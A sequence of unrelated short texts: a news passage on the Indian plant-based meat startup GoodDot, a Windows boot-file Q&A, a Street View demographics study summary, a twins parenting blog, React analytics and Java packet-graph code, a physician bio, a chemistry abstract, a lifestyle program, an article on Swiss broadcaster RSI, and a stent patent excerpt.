chewing.Sinha, a self-confessed animal lover, turned vegetarian five years ago and was keen on bringing meat substitutes to India. Through an animal shelter in Udaipur, run by an American couple, he eventually came in contact with the Good Food Institute, a nonprofit in the US that promotes plant-based meat, dairy, and egg substitutes. The company started commercial production at its Udaipur plant a year ago.Sinha is loath to divulge any numbers, except to say GoodDot sells 10,000-15,000 packets a day (its products are sold in 150-250 g packs). The sales occur through its own website, Amazon, Paytm Mall and RCM, a direct seller like Amway.GoodDot also wants to familiarise its product through quick-service restaurants run by a group company. There are three outlets in Udaipur, including two food trucks. There is one more outlet in the works in the city, along with two each in Lucknow, Bengaluru and Gurgaon.To fund its growth, Good Dot has raised undisclosed sums from individual investors and $200,000 from New Crop Capital, which has also invested in Beyond Meat, according to Venture Intelligence and company filings with the ministry of corporate affairs.Bruce Friedrich, executive director of the Good Food Institute and advisor to GoodDot, says the company’s breakthrough is producing plant-based meat at a fraction of the cost of global competitors.A 250 g pack of Vegetarian Meat retails for Rs 135 and a 200 g pack of Achari Tikka costs Rs 165. (Beyond Meat sells its 227 g pack of two burger patties in the US for $5.99, or Rs 430.) Sinha says GoodDot’s products can be used in multiple recipes, unlike the burger patties offered by the US firms.Another advantage, he says, is that GoodDot’s products do not need to be refrigerated till opened and have a shelf life of a year. “One thing that Good Dot does is it allows people to eat meat — plant-based meat — without any of the religious objections, adverse health consequences and without the horrible effect on the environment,” says Friedrich.But some are sceptical of the potential of plant-based meat in India. “This is an example of a consumer trend that has been ported out of California and is a cultural misfit in India,” says Mark Kahn, founding partner of Omnivore Partners, which invests in agri and food tech startups. Vegetarians in India avoid meat because of religious and cultural traditions and not out of animal welfare concerns, he says. “Indian vegetarians are so meat-averse that many don’t eat mushrooms because of the texture.”According to a 2014 government survey, more than 70 per cent of Indians aged 15 and older eat meat. Telangana is on top of the list, with nearly 99 per cent of its population eating meat. Rajasthan, where GoodDot is based, is the most meat-averse, with three-fourths of its population being vegetarian. Jay Karandikar, a venture partner with New Crop Capital, says we need to act before meat consumption goes up in India. “If we look at the problems of pork consumption in China, it would have been nice if we could go back 30 years and create plantbased alternatives to what is now a highly problematic staple in the Chinese diet — one that has a near-perfect correlation to the rise of diabetes in that region.”Livestock contributes around 15 per cent to global man-made greenhouse gas emissions, and cattle (beef and dairy) are responsible for over 60 per cent of livestock emissions. Pigs and chicken each cause a sixth of the emissions produced by cattle, says the Food and Agriculture Organization.Dilip Radhakrishna, a research analyst with Euromonitor International, says meat alternatives from plant proteins is an unlikely market opportunity in India in the near future. “Fading cultural boundaries, search for nutritious food and regular exercise are some of the reasons which will keep the demand for protein-rich meat and seafood market strong in the coming years.”It’s still early days for GoodDot, as plantbased meat are still a novelty even in countries like the US and is virtually unheard of in India. While there is a small fraction of urban Indians who are shunning meat for ethical reasons, whether they will take to plant-based meat is moot. |
Q:
Windows system files not where they should be
I have discovered that some important Windows system files are not where they should be, and I'd like to know if I can move them.
My system runs (I thought) from my D: drive, which has the usual \WINDOWS directory. However, ntldr resides on my C: drive, which otherwise contains only data (photos, music, etc). msdos.sys and boot.ini reside on C: too.
This is a big surprise to me, and not a welcome one. I suppose it has to do with the fact that I installed Windows (some time ago now) to D: while I had my C: drive attached; and maybe Windows can't cope with that unconventional set-up.
Is there anything that I can do about this, short of re-installing Windows? I am praying that a re-installation of Windows is not the only solution; it would take me days to return my computer to normal operating status.
A:
A reinstall is not the only solution, but it would be the fastest and cause you the least problems. Windows is used to having the C: drive as the main partition holding the Operating System files. Some applications likely have this hardcoded, hence the appearance of files like ntldr in the root of C: when its running from D:. A big problem you will run into is that all of your software is now installed and configured to use D:. If you move everything over, there will likely be a ton of programs that will break since they cannot find configuration folders and files. If you want to save your data, I suggest using the Files & Settings transfer Wizard or Windows Easy Transfer (depending on your current version of Windows). Make backups before doing anything drastic though.
|
Google’s street view could reveal more than you think
How many people in your city voted for Barack Obama? How many have college degrees? And how much money does everyone make? Collecting such data could take years—if it weren’t for Google Maps. In a new study, researchers downloaded 50 million photos of street scenes taken by the tech company’s vehicles as they mapped 200 U.S. cities. They then used a couple of machine-learning algorithms—software tools that learn from examples—to determine the make, model, and year of 22 million cars in the images. (The algorithm classified make and model with 52% accuracy.) From this, other algorithms were able to estimate local demographics by learning that certain vehicle types were more common in areas that census and election data said were, say, wealthier or more conservative. The algorithms became surprisingly accurate at determining the median household income of the area; the percentage of white, black, and Asian people there; the share of people with various levels of education; and the rate of voting for Obama versus John McCain in 2008, the researchers report this week in the Proceedings of the National Academy of Sciences . Comparing car data with actual demographics turned up some interesting patterns, too. For example, 88% of precincts with more sedans than pickup trucks voted for Obama, whereas 82% of those with more pickups than sedans voted for McCain. The researchers note that in the future, cameras on self-driving cars could increase the ease and frequency with which data are collected, helping policymakers gain a nearly real-time picture of people to better understand labor and housing supply, allocate resources for roads and schools, and plan for emergencies. |
with Christina Baglivi Tinglof
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Single-Born Sibling to Twins: An Unfair Competition?
Last week I ran into my youngest son’s high-school drama teacher. After a few moments of polite chit-chat, I commented on my son’s first-semester grade. “What a stinker!” I laughed. “He got a ‘B’ when he was perfectly capable of getting an ‘A.'”
The teacher agreed that my son hadn’t tried his best in his class, “But look who’s he’s up against?” he added. “The Great Gatsby and Mr. Personality. That’s not easy.”
He was referring to my youngest son’s brothers—fraternal twins who are two years his senior. The Great Gatsby or ‘Twin A:’ meticulously groomed with slicked back hair. Confident yet somewhat aloof. Student body vice-president. Honor student. And ‘Twin B:’ liked by everyone, both teachers and students, and a bit of a class clown. Leader of the high-school mentoring program. Honor student.
That IS a tough act to follow.
I’ve written several blog posts on the plight of the single-born sibling to twins. (You can read them here and here.) But I keep coming back to the subject because I don’t want to forget my youngest son’s challenges or ignore his special circumstances especially now when all the attention is once again placed on my twins as they apply to colleges and prepare to graduate high school. Frankly, my youngest sometimes gets lost in the shuffle, and it’s not until I get a reality check (i.e. running into his teacher) that I stop and once again take notice.
Part of the problem (if we can call it that) is that the youngest child has always traditionally dwelled in the shadow of his older siblings. In other words, it’s not just a “twin thing;” it’s a birth-order thing. But—and this is a big BUT—younger singletons to twins have the added component of competing with their older twins’ relationship. It’s that twin dyad that can be very tough for some singletons to successfully infiltrate. It can be especially difficult when the singleton’s older siblings are identical twins as their relationship is usually more tightly bonded than fraternal twins.
Just the other day, for instance, a reader posted a wonderfully insightful comment on my blog post, The Younger Singleton to Twins: Rough Road Ahead? “Amanda” is two-and-a-half years younger than her identical twin brothers. Although she cares deeply for her brothers, she’s also acutely aware that their intratwin relationship supersedes her relationship with either of them. “I understand that no matter what, my siblings will always be closer to each other than they are to me,” she wrote.
She goes on to recount her early life where everyone’s attention seemed to be solely focused on “the twins.” At holiday dinners, for instance, relatives would sit around the table debating her twin brothers’ differences. Her parents had the ubiquitous ‘twins make life twice as nice’ license plate holder. Even their computer passwords always had the word ‘twin’ included. It’s no wonder she felt the need to compete with her brothers. “I remember spending a great deal of my childhood trying very hard to outperform [my brothers], always feeling like they had a head start on being special,” she added.
So what’s the take-away from all this?
I want to remind you (and myself) to take time to truly tune in to your singletons. Be aware and stay alert to their feelings, especially in how he/she/they relate/s to his/her/their older twin siblings. And perhaps we shouldn’t place so much emphasis on having twins. (Maybe we should go ahead and toss that twins license plate holder in the trash.) In the end, twins are just kids after all! And all kids are special, regardless if they are born alone or in pairs. Finally, encourage one-on-one interactions between your singleton and his twin siblings. Someday your singleton will thank you for it. |
import * as React from 'react';
import { pathnameToLanguage } from 'docs/src/modules/utils/helpers';
// So we can write code like:
//
// <Button
// ga-event-category="demo"
// ga-event-action="expand"
// >
// Foo
// </Button>
function handleClick(event) {
let element = event.target;
while (element && element !== document) {
const category = element.getAttribute('data-ga-event-category');
// We reach a tracking element, no need to look higher in the dom tree.
if (category) {
const split = parseFloat(element.getAttribute('data-ga-event-split'));
if (split && split < Math.random()) {
return;
}
window.ga('send', {
hitType: 'event',
eventCategory: category,
eventAction: element.getAttribute('data-ga-event-action'),
eventLabel: element.getAttribute('data-ga-event-label'),
});
break;
}
element = element.parentElement;
}
}
let bound = false;
export default function GoogleAnalytics() {
React.useEffect(() => {
// Wait for the title to be updated.
setTimeout(() => {
const { canonical } = pathnameToLanguage(window.location.pathname);
window.ga('set', { page: canonical });
window.ga('send', { hitType: 'pageview' });
});
if (bound) {
return;
}
bound = true;
document.addEventListener('click', handleClick);
}, []);
return null;
}
|
Hospital Affiliations
Languages Spoken
Board Certifications
In-Network Insurances
Specialties
Family Physician
Professional Statement
Dr. Ernesto Diaz is a primary care physician with a passion for serving diverse communities. Not only does he meet patients in both English and Spanish, he also has served in a variety of different locales and worked with patients of different needs and backgrounds. This has been invaluable for his ability to relate to patients, and to make them feel cared-for.
For over seven years, Dr. Diaz has served as a physician at St. Lucie Medical Specialists. In this work, he has gained the reputation of being a thoughtful and skilled doctor. He also serves on staff at Heart and Family Health Institute in Port St. Lucie. Dr. Diaz attended medical school at the University of Panama, where instruction and training was bi-lingual. He completed a
two year internship at Amador Guerrero General Hospital in Colon City, Panama, and went on to earn his residency in family medicine at Seguro Social Gen. Hospital in Panama City. The experience was a very positive one, so Dr. Diaz completed a second residency in family medicine, at SUNY Health Science Center in Brooklyn, NY. His enthusiasm was apparent, and Dr. Diaz was named chief resident for his devotion and kind manner during his last year at SUNY Health Science.
Dr. Diaz has served as an attending physician in the past, and has held such prestigious roles as the Chief of Family Medicine at Samaritan Health Network in New York state. He also served as Interim Medical Director at North Country Children Clinic for three years, a position he relished because he was able to work with kids. Dr. Diaz is licensed to practice in three states, including New York, Alabama, and Florida, showing his drive and dedication. He is a board certified and a diplomat of the American Board of Family Practice.
… |
Identification of 1-chloro-2-formyl indenes and tetralenes as novel antistaphylococcal agents exhibiting sortase A inhibition.
Tetralene and indene compounds have shown inhibitory activity against human pathogen, Mycobacterium tuberculosis. Their potential use as antistaphylococcal agent against drug-resistant Staphylococcus aureus has not been explored so far. We determined in vitro antistaphylococcal activity and mechanism of action of these compounds as sortase A inhibitors through in silico analysis followed by biological assays. Tetralene and indene series were tested against S. aureus strains MTCC96, MRSA, and VA30. Three compounds showed significant reduction in MIC in both wild-type and drug-resistant S. aureus strains. In silico absorption, distribution, metabolism, excretion, and toxicity analysis of identified leads and cytotoxicity testing with colorimetric method using Vero and WRL-68 cell lines showed no significant cytotoxic effects. Molecular docking of these molecules with sortase A (PDB: 2KID) showed H-bond interaction with functional site residue Arg197 of sortase A. Sortase A inhibition assay was developed by expressing SrtA∆N from S. aureus strain MTCC96. Tetralene and indene compounds were found to have sortase A inhibitory potential. S. aureus strain MTCC96 treated with these compounds showed surface-sorting inhibition of fibronectin-binding protein and reduction in adherence to host extracellular matrix protein, fibronectin. 1-Chloro, 2-formyl, 6-methoxy, 1-tetralene (Tet-5), 1,5-dichloro, 2-formyl, 1-indene (Tet-20) and 1-chloro, 2-formyl, 5,6-methylenedioxy, and 1-indene (Tet-21) exhibited antistaphylococcal activity along with sortase A inhibition. The results also indicate the possible role of these leads in other reactions essential for cell viability. |
package core.document.graph;
import core.document.serialization.xml.XmlElement;
import core.importmodule.ImportItem;
import javafx.beans.binding.When;
import javafx.beans.property.LongProperty;
import javafx.beans.property.SimpleLongProperty;
import ui.custom.fx.FxLongProperty;
import ui.custom.fx.FxObservableSet;
import ui.custom.fx.FxStringFromCollectionBinding;
import ui.custom.fx.FxStringProperty;
import util.Wireshark;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.*;
import java.util.stream.Collectors;
import java.util.zip.ZipOutputStream;
public class LogicalEdge extends AbstractBidirectionalEdge<LogicalNode> {
public static class ConnectionDetails {
public static class FrameRecord {
private final long frame;
private final long time;
private final int bytes;
private final int protocol;
private final int portSource;
private final int portDestination;
public FrameRecord(int portSource, int portDestination, int protocol, long frame, long time, int cntBytes) {
this.portSource = portSource;
this.portDestination = portDestination;
this.protocol = protocol;
this.frame = frame;
this.time = time;
this.bytes = cntBytes;
}
public long getFrame() {
return frame;
}
public long getTime() {
return time;
}
public int getBytes() {
return bytes;
}
public int getProtocol() {
return protocol;
}
public int getSourcePort() {
return portSource;
}
public int getDestinationPort() {
return portDestination;
}
public XmlElement toXml() {
XmlElement xmlResult = new XmlElement("frame");
xmlResult.addAttribute("time").setValue(Long.toString(time));
xmlResult.addAttribute("bytes").setValue(Integer.toString(bytes));
xmlResult.addAttribute("frame").setValue(Long.toString(frame));
xmlResult.addAttribute("protocol").setValue(Integer.toString(protocol));
xmlResult.addAttribute("srcPort").setValue(Integer.toString(portSource));
xmlResult.addAttribute("dstPort").setValue(Integer.toString(portDestination));
return xmlResult;
}
}
private final SimpleLongProperty cntBytes;
private final Map<ImportItem, List<FrameRecord>> Frames;
private final FxObservableSet<Integer> Protocols;
public ConnectionDetails() {
cntBytes = new FxLongProperty(0);
Frames = new HashMap<>();
Protocols = new FxObservableSet<>();
}
public synchronized void AddPacket(ImportItem source, int portSource, int portDestination, long cntBytes, long idxFrame, int proto, long time) {
this.cntBytes.set(this.cntBytes.get() + cntBytes);
//The frames are partitioned by the ImportItem that was the source of the frame information.
List<FrameRecord> frames = Frames.get(source);
if(frames == null) {
//Initial buffer for 1024 frames; completely arbitrary number, there is no science behind why it was chosen.
frames = new ArrayList<>(1024);
Frames.put(source, frames);
}
frames.add(new FrameRecord(portSource, portDestination, proto, idxFrame, time, (int) cntBytes)); //A single frame should not come anywhere near the size of an int, let alone a long.
Protocols.add(proto);
}
public long getBytes() {
return cntBytes.get();
}
public LongProperty bytesProperty() {
return cntBytes;
}
public int getFrameCount() {
int cntFrames = 0;
for(List<?> frames : Frames.values()) {
cntFrames += frames.size();
}
return cntFrames;
}
public Collection<ImportItem> getFrameGroups() {
return Frames.keySet();
}
public List<FrameRecord> getFrames(ImportItem set) {
return Frames.get(set);
}
}
public LogicalEdge(LogicalNode source, LogicalNode destination) {
super(source, destination);
detailsDestinationToSource = new ConnectionDetails();
detailsSourceToDestination = new ConnectionDetails();
detailsEdge = new FxStringProperty();
if(source == null || destination == null) {
detailsEdge.setValue("Source or Destination was null");
} else {
detailsEdge.bind(
new When(detailsSourceToDestination.bytesProperty().greaterThan(0))
.then(detailsSourceToDestination.bytesProperty().asString().concat(" bytes -> " + destination.toString() + " ").concat(new FxStringFromCollectionBinding<>(detailsSourceToDestination.Protocols, Collectors.joining(", ", "(", ")\n"), Wireshark::getProtocolName)))
.otherwise("")
.concat(new When(detailsDestinationToSource.bytesProperty().greaterThan(0))
.then(detailsDestinationToSource.bytesProperty().asString().concat(" bytes -> " + source.toString() + " ").concat(new FxStringFromCollectionBinding<>(detailsDestinationToSource.Protocols, Collectors.joining(", ", "(", ")\n"), Wireshark::getProtocolName)))
.otherwise("")
));
}
}
protected final FxStringProperty detailsEdge;
protected final ConnectionDetails detailsSourceToDestination;
protected final ConnectionDetails detailsDestinationToSource;
public void AddPacket(boolean sameDirection, int portSource, int portDest, int proto, long time, ImportItem source, long cntBytes, long idxFrame) {
if(sameDirection) {
detailsSourceToDestination.AddPacket(source, portSource, portDest, cntBytes, idxFrame, proto, time);
} else {
detailsDestinationToSource.AddPacket(source, portDest, portSource, cntBytes, idxFrame, proto, time);
}
}
public ConnectionDetails getDetailsToSource() {
return detailsDestinationToSource;
}
public ConnectionDetails getDetailsToDestination() {
return detailsSourceToDestination;
}
public FxStringProperty edgeDetailsProperty() {
return detailsEdge;
}
@Override
public XmlElement toXml(List<LogicalNode> nodes, List<ImportItem> items, ZipOutputStream zos) throws IOException {
XmlElement xmlEdge = super.toXml(nodes, items, zos);
zos.write(xmlEdge.openTag().getBytes(StandardCharsets.UTF_8));
zos.write(System.lineSeparator().getBytes(StandardCharsets.UTF_8));
//Details to Destination
XmlElement xmlDetailsTo = new XmlElement("details").appendedTo(xmlEdge);
xmlDetailsTo.addAttribute("direction").setValue("destination");
xmlDetailsTo.addAttribute("bytes").setValue(Long.toString(getDetailsToDestination().getBytes()));
zos.write(xmlDetailsTo.openTag().getBytes(StandardCharsets.UTF_8));
zos.write(System.lineSeparator().getBytes(StandardCharsets.UTF_8));
for(ImportItem item : getDetailsToDestination().getFrameGroups()) {
XmlElement xmlSource = new XmlElement("source");
xmlSource.addAttribute("ref").setValue(Integer.toString(items.indexOf(item)));
zos.write(xmlSource.openTag().getBytes(StandardCharsets.UTF_8));
for(LogicalEdge.ConnectionDetails.FrameRecord frame : getDetailsToDestination().getFrames(item)) {
zos.write(frame.toXml().toString().getBytes(StandardCharsets.UTF_8));
zos.write(System.lineSeparator().getBytes(StandardCharsets.UTF_8));
}
zos.write(xmlSource.closeTag().getBytes(StandardCharsets.UTF_8));
zos.write(System.lineSeparator().getBytes(StandardCharsets.UTF_8));
}
zos.write(xmlDetailsTo.closeTag().getBytes(StandardCharsets.UTF_8));
zos.write(System.lineSeparator().getBytes(StandardCharsets.UTF_8));
//Details to Source
XmlElement xmlDetailsFrom = new XmlElement("details").appendedTo(xmlEdge);
xmlDetailsFrom.addAttribute("direction").setValue("source");
xmlDetailsFrom.addAttribute("bytes").setValue(Long.toString(getDetailsToSource().getBytes()));
zos.write(xmlDetailsFrom.openTag().getBytes(StandardCharsets.UTF_8));
zos.write(System.lineSeparator().getBytes(StandardCharsets.UTF_8));
for(ImportItem item : getDetailsToSource().getFrameGroups()) {
XmlElement xmlSource = new XmlElement("source").appendedTo(xmlDetailsFrom);
xmlSource.addAttribute("ref").setValue(Integer.toString(items.indexOf(item)));
zos.write(xmlSource.openTag().getBytes(StandardCharsets.UTF_8));
for(LogicalEdge.ConnectionDetails.FrameRecord frame : getDetailsToDestination().getFrames(item)) {
zos.write(frame.toXml().toString().getBytes(StandardCharsets.UTF_8));
zos.write(System.lineSeparator().getBytes(StandardCharsets.UTF_8));
}
zos.write(xmlSource.closeTag().getBytes(StandardCharsets.UTF_8));
zos.write(System.lineSeparator().getBytes(StandardCharsets.UTF_8));
}
zos.write(xmlDetailsFrom.closeTag().getBytes(StandardCharsets.UTF_8));
zos.write(System.lineSeparator().getBytes(StandardCharsets.UTF_8));
zos.write(xmlEdge.closeTag().getBytes(StandardCharsets.UTF_8));
zos.write(System.lineSeparator().getBytes(StandardCharsets.UTF_8));
return null;
}
}
|
Lifestyle Change
Changing your diet, losing weight and knowing that you are in control of food are all significant goals. You will have cause to celebrate. You will have accomplished a great deal. However, the You Are Worth It program is more than a weight maintenance program, it is a lifestyle program.
You have the opportunity to create your unique lifestyle. Unfortunately, for many people, lifestyle is not about creating something desired. Lifestyle is simply an accumulation of time, experiences and chance. In many cases life is to be endured. This you do not want!
This program is about recreating your life. It can be about righting the wrongs, correcting the mistakes and forgiving the transgressions. If you believe you are worth it, and you believe You Are Worth It, then you need to own these next sixteen weeks. Explore and experience: discover what you want and what you don’t want from life.
During our 16 weeks together you can spend time learning skills that allow you to minimize disempowering thoughts, emotions and behaviours and to maximize empowering thoughts, emotions and behaviour. You will learn how to overcome doubt, and understand how to overwhelm fear. You can be in charge of your life. Only then can you truly help others.
In order to create your new lifestyle you must be able to develop hope, optimism and meaning. Think of these in the negative. What if you had no sense of hope for the future, no sense of optimism to move you forward and worst of all no meaning to your life? That is a very dark place. I know because I have been there.
Part of my motivation for developing this program is to support people who are seeking or in a process of change. The diet and exercise portion of this program is about physical change, but your relationship with food, your attitude toward exercise, what you think about yourself, how you see yourself, how you interact with the world–all your thoughts and ideas: relate to cognitive change. The program can change your lifestyle by changing the way you think! |
Radiotelevisione svizzera
Radiotelevisione svizzera di lingua italiana (; RSI, abbreviated as RTSI until 28 February 2009) is a Swiss public broadcasting organisation, part of SRG SSR. RSI handles production and broadcasting of radio and television programs in Italian for Switzerland (Italian-speaking Switzerland). RSI's administrative headquarters are located in Via Canevascini in Lugano-Besso.
History
"Radio svizzera di lingua italiana" was established in 1925 as "Radio Monte Ceneri", originally named after the mountain where the transmitter was placed. After several years of experimental broadcast, in 1933 the "Società svizzera di Radiodiffusione" (Swiss Radio Broadcasting Corporation) began regular transmissions in Ticino and Grigioni. The intentions of its founders were to promote cohesion in the confederation while promoting the value of the Swiss Italian culture. In the 1930s and 1940s, when most of Switzerland's neighboring states were under fascism, Radio Monte Ceneri was the only Italian language radio free of censorship, becoming the only reliable voice for the Italian population and a prominent outlet for Italian intellectuals: during these years it hosted people like Benedetto Croce and Delio Tessa.
The first television broadcasts started on 18 November 1958, at first produced in studios in Zurich and transmitted with Italian subtitles. In 1961, with the foundation of Televisione svizzera di lingua italiana (TSI), the studios were relocated in Paradiso, near Lugano. This was eight years after the experimental debut of television in Zurich and Genève. The channel began broadcasting in colour in 1968.
During the 1970s, when Italian television was still under the RAI monopoly, Swiss television in Italian was the only alternative to the public network for Italians living in Lombardy and Piedmont: the signal reached the city of Milan. Some important personalities of Italian television, such as Corrado, Mina, Enzo Tortora and the founder of the first commercial television in Italy, Telebiella, Peppo Sacchi worked with TSI.
RSI launched two new thematic radio stations, a cultural one, Rete Due, in 1985 and another more youth-oriented, Rete Tre, in 1989.
In 1997 a second channel was created, called TSI 2. The first TSI channel thus was renamed TSI 1.
In December 2005, RSI began digital broadcasts using the DAB system on the Saint Gottard autoroute. On 26 July 2006 at 12:45, SRG SSR idée suisse interrupted analog broadcasting in Ticino making it the first all-digital canton of Switzerland This affected the Italians in northern Italy, as they were deprived of all the TSI channels, with the sole exception of those close to the frontier.
Logo history
1936-1961
1961-1985
1985-1997
1997-2009
2009-present
Direction
General Director:
Maurizio Canetta
Headquarters
The administrative headquarters of RSI are located in Via Canevascini in Lugano-Besso. RSI television studios are found in Comano, 5 km north of Lugano.
Operations
Radio
RSI's radio department is in charge of production and transmission radio programs in the Italian language for the Italian speaking Swiss. Its studios are located in Via Canevascini in Lugano-Besso. It was known as Radio svizzera di lingua italiana (RSI) until 2009.
RSI Rete Uno : general programming
RSI Rete Due : cultural, intellectual programming, classical music
RSI Rete Tre : youth-oriented programming
Television
RSI's television department is in charge of production and transmission of television programs in the Italian language for the Italian speaking Swiss. Its studios are found in Comano, 5 km north of Lugano. It was known as Televisione svizzera di lingua italiana (TSI) until 2009.
RSI La 1
RSI La 2
See also
Monte Ceneri transmitter
Television in Switzerland
References
External links
RSI Official site
RSI podcast
DAB in Switzerland
Digital television in Switzerland
History of RSI
Category:Swiss Broadcasting Corporation
Category:Swiss television networks
Category:Italian-language television networks
Category:Radio in Switzerland
Category:1925 establishments in Switzerland
Category:Media in Lugano
Category:Radio stations established in 1925
Category:Television channels and stations established in 1958 |
A61F2/86—Stents in a form characterised by the wire-like elements; Stents in the form characterised by a net-like or mesh-like structure
A61F2/90—Stents in a form characterised by the wire-like elements; Stents in the form characterised by a net-like or mesh-like structure characterised by a net-like or mesh-like structure
A61F2/91—Stents in a form characterised by the wire-like elements; Stents in the form characterised by a net-like or mesh-like structure characterised by a net-like or mesh-like structure made from perforated sheet material or tubes, e.g. perforated by laser cuts or etched holes
A61F2/915—Stents in a form characterised by the wire-like elements; Stents in the form characterised by a net-like or mesh-like structure characterised by a net-like or mesh-like structure made from perforated sheet material or tubes, e.g. perforated by laser cuts or etched holes with bands having a meander structure, adjacent bands being connected to each other
A61F2/86—Stents in a form characterised by the wire-like elements; Stents in the form characterised by a net-like or mesh-like structure
A61F2/90—Stents in a form characterised by the wire-like elements; Stents in the form characterised by a net-like or mesh-like structure characterised by a net-like or mesh-like structure
A61F2/91—Stents in a form characterised by the wire-like elements; Stents in the form characterised by a net-like or mesh-like structure characterised by a net-like or mesh-like structure made from perforated sheet material or tubes, e.g. perforated by laser cuts or etched holes
A61F2/915—Stents in a form characterised by the wire-like elements; Stents in the form characterised by a net-like or mesh-like structure characterised by a net-like or mesh-like structure made from perforated sheet material or tubes, e.g. perforated by laser cuts or etched holes with bands having a meander structure, adjacent bands being connected to each other
Abstract
A method for fabricating an embodiment of a medical device comprising the steps of: preparing a biodegradable polymeric structure; coating the biodegradable polymeric structure with a polymeric coat including a pharmacological or biological agent; cutting the structure into patterns configured to allow for crimping of the cut structure and expansion of the cut structure after crimping into a deployed configuration.
Description
BACKGROUND
All references cited in this specification, and their references, are incorporated by reference herein in their entirety where appropriate for teachings of additional or alternative details, features, and/or technical background.
The invention relates to a medical device for implantation into vessels or luminal structures within the body. In one embodiment, the present invention relates to stents and synthetic grafts which are coated with a controlled-release matrix comprising a medicinal substance for direct delivery to the surrounding tissues, which may include a ligand attached thereto for capturing progenitor endothelial cells in the blood contacting surface of the device to form mature, functional, endothelium at site of injury. In particular, the polymer matrix/drug/ligand-coated devices such as stents are for use, for example, in therapy of diseases and conditions such as restenosis, artherosclerosis, and endoluminal reconstructive therapies.
Disclosed in embodiments herein is a novel tube-shaped expandable scaffold configured to fit within the vasculature, including the cardiovasculature, having a low, propensity for biological rejection. Such scaffold may consist of, or comprise, a bioabsorbable polymer composition or blend that effectuates a combination of mechanical properties balancing elasticity, rigidity and flexibility. The polymer composition may include a base material including a bioabsorbable polymer, copolymer, or terpolymer, and a copolymer or terpolymer additive. Advantageously the polymer may be selected to undergo enzymatic degradation and absorption. In particular, the composition may allow for a “soft” breakdown mechanism allowing for the breakdown of the component polymers to be less injurious to the surrounding tissue.
A persistent problem associated with the use of metallic devices such as stents is found in the formation of scar tissue coating of the vascularly located stent, the so-called process of restenosis. Many have concluded that the continued risk of stent thrombosis due to the permanent aspect of metal stents has not been overcome by coating of the metal with drugs intended to prevent such calamities. On the contrary, an increase in death rate has also been associated with a number of these coatings. Moreover, metallic and polymeric stents may prevent vascular lumen remodeling and expansion.
With respect to stents, stents may prevent the healing of tissue and reduce complement activation of the immune response. Stents have also been associated in some instances with a reduced inflammatory response and trauma upon break-up of an implant and/or its component materials. Conventional stents may also not provide a desired degree of flexibility in shape allowing for easier implantation, particularly into blood vessels.
The present inventors have recognized a need to develop medical devices such as stents and vascular synthetic grafts, manufactured from biocompatible, biodegradable bioabsorbable polymer blends as base polymer which are useful for the treatment of disease, in particular of the vascular system. The medical devices may ameliorate problems associated with present devices.
As disclosed herein, it has been recognized by the present inventors that the base polymer may be selected to allow additional molecular free volume to encourage sufficient molecular motion so as to allow for re-crystallization to occur at physiological conditions (e.g., upon the addition of molecular strain). Increased molecular free volume may allow for an increase in the rate of water uptake adding both a plasticizing effect as well as increasing the bulk degradation kinetics.
In embodiments herewith, the compositions allow for a “soft” breakdown mechanism such that the breakdown proceeds while being friendly to the surrounding tissue (less inflammatory response, and rendering lower potential for trauma upon break up of an implant). By selecting a polymer or copolymer having an enhanced hydrophilic property for either the base or the additive or both, the polymer blend may reduce complement activation and minimize or prevent opsonization.
In certain embodiments, the bioabsorbable scaffolds allow flexibility and stretchability suitable for the implantation in the pulse movements, contractions and relaxations of, for example, the cardiovascular system.
REFERENCES
Reference is made to U.S. Pat. No. 6,607,548 B2 (Inion), issued Aug. 19, 2003, which discloses biocompatible and bioresorbable compositions comprising a lactic acid or glycolic acid based polymer or copolymer blended with one or more copolymer additives. Such implants are asserted to be cold-bendable without crazing or cracking. Reference is also made to EP 0401844, which discloses a blend of poly-L-lactide with poly D-DL-lactide, and U.S. Pat. No. 6,001,395 which discloses drug delivery with lamellar particles of a biodegradable poly(L-lactide) or copolymers or blends thereof, being at least in part crystalline. U.S. Pat. No. 7,070,607 discloses an aneurysm repair coil comprising a bioabsorbable polymeric material carrying an embolic agent wherein the thrombogenicity is controlled by the polymer composition.
SUMMARY
Embodiments disclosed herein are method of manufacturing bioabsorbable medical devices, such as stents and synthetic grafts comprising a bioabsorbable polymer composition. The medical devices are biocompatible, biodegradable and can deliver mechanical support as well as pharmaceutical substances to an injured organ after implantation into a patient.
In one embodiment, the medical devices are configured to encapsulate therapeutic agents within the walls of their structure for the treatment of diseases such as artherosclerosis, restenosis and the like. In one embodiment, as the bioabsorbable device breaks down, the device provides controlled released of the pharmaceutical trapped within its wall or integrally part of the polymeric composition. In this and other embodiments, pharmaceutical substances can be covalently attached or admixed to the polymeric material comprising the medical device. In certain embodiments, the medical device may have a coating for stimulating restoration of normal endothelium at the site of implant.
In one embodiment, there is provided a method for the manufacturing of a polymeric medical device with a coating. The method comprises the making of a polymeric medical device from a bioabsorbable polymeric composition comprising a base polymer which can be a crystallizable polymer. The method comprises making a crystallizable polymeric composition; forming a structure such as a structure which is the form of a medical device, for example, a stent; coating said structure in its luminal surface with one or more layers of a composition comprising a polymeric matrix and with or without one or more pharmaceutical substance and a ligand for recognizing and binding to target cells in the circulation. The method further comprises the step of coating the medical structure in an opposing surface, in the case of a stent, coating the abluminal surface with a composition comprising the same or different pharmaceutical substance for local delivery to the surrounding tissue.
In one embodiment, the method of manufacturing further comprises the step of designing and cutting the polymer device to a specific structure prior to coating the device or after coating the device. In this embodiment, the pharmaceutical substance and compositions comprising the coating can be applied prior to designing and cutting the device structure, or after the device is coated.
In one embodiment, there is disclosed a cardiovascular tube-shaped expandable scaffold such as a stent, fabricated from a bioabsorbable polymer composition or blend having a combination of mechanical properties balancing elasticity, rigidity and flexibility allowing bending and crimping of the scaffold tube onto an expandable delivery system (such as a balloon catheter) which is attached to a suitable vascular lumen insertion means. The deployed scaffold may be expanded from a narrowly crimped delivery conformation to a lumen diameter sufficient for implantation onto the vascular wall tissue. The flexible form of a polymer scaffold may also afford the capability of overstretching its configuration so as to facilitate insertion into blood vessel with minimal vessel wall contact. In addition, the scaffold can be manipulated to vary from a cylindrical to a truncated conical shape allowing for easy implant installation, relocation, and adjustment.
In one embodiment, the medical device is provided in an expandable scaffold, which provides a crimpable and expandable structure without stress crazing. In embodiments wherein the medical device is a stent, the expandable scaffold provides a set of interlocking struts for stabilizing the device in its deployed or expanded or implanted conformation.
Another embodiment of the scaffold polymer provides enhanced mechanical properties through a molecular reorientation and crystallization during the radial strain of expansion from a crimpable state to an expanded state.
